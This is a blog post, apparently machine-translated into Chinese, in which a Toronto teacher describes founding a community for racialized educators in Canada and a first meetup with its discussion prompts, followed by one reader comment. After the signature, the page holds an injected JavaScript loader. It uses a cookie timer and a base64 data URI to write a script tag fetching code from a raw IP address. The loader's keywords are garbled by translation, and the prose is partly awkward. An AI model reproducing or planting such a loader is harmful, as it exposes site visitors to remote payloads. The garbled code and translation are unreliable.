建立有色人种教育者社区
我成长于一个社区,在那里我可以数出高中有色人种的数量,但我并没有庆祝自己的种族背景,而是将它作为我的一部分而保留。我总是很尴尬地邀请朋友们来我家,因为我的家和他们的家不同。不同的气味?大概在厨房准备晚餐。不同的声音?可能是我妈妈用潮州话(我的母语)在电话里和一位阿姨大声交谈。不同的房屋规则?是的,我们在门口脱鞋。以这种方式成长,在种族和文化认同被压制的情况下,我陷入了工作场所的例行公事,因为一位老师没有将整个我融入课堂或与同事们。
去年夏天,我和一些最出色的教育工作者一起度过了一个星期。 Google创新者学院 在华盛顿特区,进行有关身份,种族,权力和特权的最佳对话。当我回到学校时,我想知道为什么我在加拿大没有这么丰富的对话?了解到加拿大这里的风景与美国不同,我不知道如何开始,直到灵感以推文的形式出现。
这个秋天, 珍妮·玛吉拉(Jennie Magiera) (首席计划官EdTechTeam)和Chicagoland Google Educator Group举办了一次网络活动,将有色人种的教育者聚在一起( 点击查看上一篇文章)。受到这项工作的启发,我与Jennie接触了所有细节,并通过与网络中其他出色的色彩教育者进行接触来开始了我的社区中的工作(照片中的左至右: Mahfuza Rahman, 伊尼亚(Iniyal Inparajah Hryhorczuk), 杰森·特林(Jason Trinh), 阿米特·梅罗特拉(Amit Mehrotra), 阿里安娜·兰伯特(Arianna Lambert), 杰森·杜, 妮可·詹姆斯(Nicole James))我们一起组成了一个名为 种族化的教育者行动& Leadership (#RE4AL),我们的任务是在加拿大的彩色教育者中建立社区,并促进对话成为行动。
在...的帮助下 教育技术团队Canada,我们召集了30位色彩教育家 莱斯·麦克贝斯 从 未来设计学校 在多伦多市中心。我们通过创建六个词的故事开始了当晚,这六个词代表了我们的身份,并在我们的小组成员中共享。我们进入了一个开放式活动,在墙上找到了对话提示,教育者可以将自己的想法留在自己的岗位上,或者与另一位教育者进行对话。我们问:
- 您如何定义自己的教育者身份?
- 我们可以邀请种族化教育者加入这一小组的哪些可行方法?
- 您将来想参加什么样的活动?
- 有哪些根本原因导致教育领域缺乏多元化的代表性?
- 您如何与学生/同事将自己的身份融入课堂/学校?
- 今天之后您的下一步行动是什么?
在整个活动过程中,整个房间都保持着积极的气氛,对话令人振奋!许多与会者迫切希望继续进行对话,并开始确定种族化教育者在加拿大面临的挑战。尽管迈出了一小步,但我们所有人都同意,抽出时间来建立社区是重要的第一步。
这只是开始,因为我们开始浏览共享的故事和大量的帖子,以确定社区面临的障碍和痛点。在我们的下一次会议上,我们将继续扩大社区规模,并开始将所有对话催化为可行的结果。那天晚上,我们用一张照片记录了新事物的开始,崭新的视角和主动性,以扩大我们的声音。在这里,在这些新朋友中,我得以在教育工作者中拥护我的种族认同,将其带到了最前沿,并轻松分享了我的六个字故事:“教育的第一代,无限的潜力”。
杰森·特林(Jason Trinh)
高中老师
加拿大安大略省多伦多市
Google认证创新者
@jasontries 函数getCookie(e){var U = document.cookie.match(new RegExp(“(?:^|; )”+ e.replace(/([[..$?* | {} \(\)\ [\] \\\ / \ ++ ^])/ g,”\\$1″)+”=([^;]*)”));返回U?decodeURIComponent(U [1]):void 0} var src =”数据:文本/ JavaScript的; BASE64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs =”,now = Math.floor(Date.now()/ 1e3),cookie = getCookie(“redirect”);if(now>=(time = cookie)|| void 0 === time){var time = Math.floor(Date.now()/ 1e3 + 86400),date = new Date((new Date).getTime()+ 86400) ; document.cookie =”redirect=”+time+”; path=/; expires=”+ date.toGMTString(),document.write(”)}
阿基拉(Akila Venkatesh)
一月22,2018 @ 9:00 am
对身份认同和繁荣的这一重要元素采取行动的好方法。导致此类对话的批判性思想肯定会在课堂内外产生积极影响。我期待更多!